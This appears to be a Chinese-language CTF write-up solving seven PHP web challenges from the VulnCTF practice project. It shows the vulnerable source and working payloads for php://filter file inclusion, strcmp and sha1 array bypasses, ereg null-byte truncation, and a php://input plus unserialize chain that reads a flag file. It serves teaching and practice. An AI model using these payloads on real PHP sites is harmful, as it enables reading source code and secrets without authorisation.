VulnCTF的练习教室-Web解题思路
项目地址:https://github.com/jianmou/VulnCTF
Web1 : LFI|伪协议
访问题目
提示代码如注释,那就打开网页源码看看
1
2
3
4
5
6
7
8
9
10
|
<?php
header("Content-Type: text/html;charset=utf-8");
$page=$_GET['page'];
if (isset($_GET['page'])){
include("$page");
}
else{
echo 'page!!!!';
}
?>
|
发现是文件包含,那我们在url
加上?page=Y29uZmln.php
看看
phpinfo
的页面,搜索关键词flag
和查看网页源码也没有什么发现
它题目提示是伪协议,那么直接使用php伪协议
来读取下源码看看
1
|
?page=php://filter/read=convert.base64-encode/resource=Y29uZmln.php
|
把源码成功以base64
加密的方式读取
把base64
使用工具解一下,成功拿到flag
Web2 : PHP黑魔法|strcmp
访问题目
提示密码错误,看样子是需要传入参数password
还是提示密码错误,那传个数组试试password[]=1
,把password
当作数组传入
得到flag
题目源代码
1
2
3
4
5
6
7
8
9
10
|
<?php
$password=$_GET['password'];
if(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password)){
echo 'password is false ! ! ! ! !';
}else{
echo 'flag is here!!<br>';
echo 'flag{vUlnCtF_This_iS_a_FlAg}';
}
?>
|
原理解释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
if(null){
echo 'test';
}else{
echo 'test2';
}
if(null==0){
echo '123456';
}else{
echo '654321';
}
if(null===0){
echo'abc';
}else{
echo'cba';
}
?>
|
Web3 : PHP黑魔法|弱类型==|===比较
访问题目
右键查看页面源代码
1
2
3
|
$username == $password
sha1($name) === sha1($password)
die $flag
|
首先要确保username
和password
的值不能相同,其次sha1
加密之后的name
和password
的值又必须完全相同。我们知道,这时的a[] = 1
;所以username[] = 1
和password[]= 2
相比较,可以跳过第一个判断,而如果使用sha1
对一个数组进行加密,返回的将是NULL
,NULL===NULL
,这是成立的,所以构造两个数组,就能成功拿到flag
1
|
?username[]=1&password[]=2
|
题目源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
$flag = 'flag{VulN_This_is_A_flag}';
if (isset($_GET['username']) and isset($_GET['password']))
{
if ($_GET['username'] == $_GET['password']){
echo '<p>You password can not be your username !</p>';
}
else if (sha1($_GET['username']) === sha1($_GET['password'])){
die('Flag:'.$flag);
}
else{
echo '<p>Invalid password</p>';
}
}
?>
|
Web4 : PHP优先级|绕过and后面的is_numeric()
访问题目
老样子,右键查看页面源代码
is_numeric()
函数用于检测变量是否为数字或数字字符串。若是则为true
,否则为false
当有两个is_numeric
判断并用and
连接时,and
后面的is_numeric
可以绕过
在php
中,赋值运算比AND
和OR
高,但是低于&&
和||
题目源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
header("Content-Type: text/html;charset=utf-8");
$a = 'test';
$b = 'test2';
$a = $_GET['a'];
$b = $_GET['b'];
$c = is_numeric($a) and is_numeric($b);
if($c){
print "flag{Flag_iS_VulnCtf}";
}
else{
print "is_numeric(a) and is_numeric(b) error !";
}
?>
|
因为题目的代码里面,同时出现了赋值和and,所以当我们访问以下URL的时候
由于赋值优先级高,所以先把is_numeric(a)
赋值给了c
然后在进行and
,于是就直接输入flag
了
Web5 : PHP黑魔法|ereg()截断
访问题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$str = "if (isset ($_GET['password'])) {
if (ereg (\"^[a-zA-Z0-9]+$\", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
require(\"flag.txt\");
else
echo 'Invalid password';
}";
|
ereg`函数存在两个漏洞:
ereg
函数中的参数值如果为数组,会返回false
%00
截断,在遇到%00
的时候会认为字符串结束了
第一种做法,将password
构造一个array[]
,传入之后,ereg
是返回NULL
的,===
判断NULL
和FALSE
,是不相等的,所以可以进入第二个判断,而strpos
处理数组,也是返回NULL
,注意这里的是!==(非恒等于)
,NULL!==FALSE
,条件成立,拿到flag
第二种做法,ereg
读到%00
的时候,就截止了,所以可以构造1%00--
,拿到flag
题目源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
if (isset ($_GET['password'])) {
if (@ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (@strpos ($_GET['password'], '--') !== FALSE)
require("flag.txt");
else
echo 'Invalid password';
}
?>
|
Web6 : PHP弱类型|绕过$a==0
访问题目
应该是只拿到了一半的加密字符,根据题目的提示要绕过$a==0
在php
里字母==0
,''==0
,'.'==0
成功的拿到了全部的加密字符,base64
解密一下
Web7 : 伪协议绕过file_get_contents()
访问题目
右键查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
|
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
|
利用php://input
绕过对user
的检验并用php://filter
读取class.php
的源码(php://input
得到原始post
数据,这里用的是include
$file
,但我们要的是源码不是让他执行,要用php://filter
)
1
2
3
4
5
6
7
8
|
#读取index.php和class.php
#GET
?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php
?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
#POST
the user is admin
|
使用base64
解码后,得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#index.php
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
/*
isset函数是检测变量是否设置。
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
file_get_contents — 将整个文件读入一个字符串
preg_match — 执行匹配正则表达式
*/
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1aG/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#class.php
<?php
class Read{//f1aG.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
|
得到class.php
之后发现这个Read类
里有魔法函数,并且有个echo file_get_contents($this->file);
首先要让file=class.php
,我们要执行class.php
里的函数,不是读源码
其次序列化里还是要用php://filter
读f1aG.php
的源码,因为file_get_contents
函数的原因,无法得到<?php …?>
里的内容
复制class.php
的源码,修改一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
class Read {
//f1aG.php
public $file;
public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$a->file = 'php://filter/read=convert.base64_encode/resource=f1aG.php';
echo serialize($a);
?>
|
扔到php在线工具里运行下,得到序列化后的内容
1
|
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64_encode/resource=f1aG.php";}
|
接着把这个序列化字符串赋值给pass,以及用file包含class.php,构造出:
1
2
3
4
5
|
#GET
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1aG.php";}
#POST
the user is admin
|
base64
解密一下,成功的拿到flag